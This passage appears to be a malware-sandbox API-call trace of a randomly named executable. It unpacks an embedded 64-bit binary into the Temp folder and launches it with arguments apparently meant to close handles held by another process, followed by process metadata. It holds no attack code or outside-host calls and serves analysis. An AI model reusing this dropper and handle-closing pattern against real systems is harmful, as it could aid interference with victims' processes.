Flags=0x8, Size=0x28) returned 0x247010 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1a) returned 0x245a98 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4a) returned 0x247040 [0138.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x72) returned 0x23f968 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x247098 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x2470d0 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1c) returned 0x245ac0 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xd2) returned 0x247108 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x7c) returned 0x2471e8 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x247270 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3a) returned 0x248438 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x90) returned 0x2472b0 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x247348 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x247378 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x2473b0 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x2473f0 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x247440 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x248480 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x18) returned 0x2474a0 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x82) returned 0x2474c0 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x247550 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1e) returned 0x245ae8 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2c) returned 0x247588 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x2475c0 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x247620 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2a) returned 0x247680 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x2484c8 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x2476b8 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x247718 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x247748 [0138.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x8c) returned 0x247780 [0138.447] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x247848 | out: hHeap=0x230000) returned 1 [0138.448] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x800) returned 0x247818 [0138.448] GetLastError () returned 0x0 [0138.448] SetLastError (dwErrCode=0x0) [0138.448] GetLastError () returned 0x0 [0138.448] SetLastError (dwErrCode=0x0) [0138.448] GetLastError () returned 0x0 [0138.448] SetLastError (dwErrCode=0x0) [0138.448] GetACP () returned 0x4e4 [0138.448] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x220) returned 0x248020 [0138.448] GetLastError () returned 0x0 [0138.448] SetLastError (dwErrCode=0x0) [0138.448] IsValidCodePage (CodePage=0x4e4) returned 1 [0138.448] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0138.448] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0138.448] GetLastError () returned 0x0 [0138.448] SetLastError (dwErrCode=0x0) [0138.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0138.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0138.448] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0138.448] GetLastError () returned 0x0 [0138.448] SetLastError (dwErrCode=0x0) [0138.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0138.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0138.448] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0138.448] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0138.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ~\x08-säþ\x18", lpUsedDefaultChar=0x0) returned 256 [0138.448] GetLastError () returned 0x0 [0138.449] SetLastError (dwErrCode=0x0) [0138.449] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0138.449] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0138.449] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0138.449] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0138.449] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ~\x08-säþ\x18", lpUsedDefaultChar=0x0) returned 256 [0138.449] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x80) returned 0x248248 [0138.449] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0138.449] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0138.449] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x248248) returned 0x80 [0138.449] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0138.449] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0138.449] GetCurrentProcess () returned 0xffffffff [0138.449] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0138.449] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0138.449] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0138.450] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0138.450] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0138.450] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0138.450] LockResource (hResData=0x43c648) returned 0x43c648 [0138.450] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x18) returned 0x2482d0 [0138.450] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0138.451] GetFileType (hFile=0x90) returned 0x1 [0138.451] WriteFile (in: hFile=0x90, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0138.456] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1000) returned 0x249820 [0138.457] WriteFile (in: hFile=0x90, lpBuffer=0x249820*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x249820*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0138.457] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249820 | out: hHeap=0x230000) returned 1 [0138.457] CloseHandle (hObject=0x90) returned 1 [0138.457] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0138.457] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x94, hThread=0x90, dwProcessId=0x388, dwThreadId=0xcf0)) returned 1 [0138.471] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) Process: id = "251" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x23901000" os_pid = "0xce0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "249" os_parent_pid = "0xcc8" cmd_line = "bv6ncK8c.exe -accepteula \"ImagingDevices.exe\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 873 os_tid = 0x310 Process: id = "252" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x74efb000" os_pid = "0x388" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "250" os_parent_pid = "0xc7c" cmd_line = "bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 874 os_tid = 0xcf0 [0138.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xf5e31360, dwHighDateTime=0x1d5d06a)) [0138.647] GetCurrentThreadId () returned 0xcf0 [0138.648] GetCurrentProcessId () returned 0x388 [0138.648] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=28059978099) returned 1 [0138.649] GetProcessHeap () returned 0x320000 [0138.650] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0138.650] GetProcAddress (hModule=0x76f20000, lpProcName=0x1400212e0) returned 0x76f37190 [0138.650] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0138.650] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0138.651] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 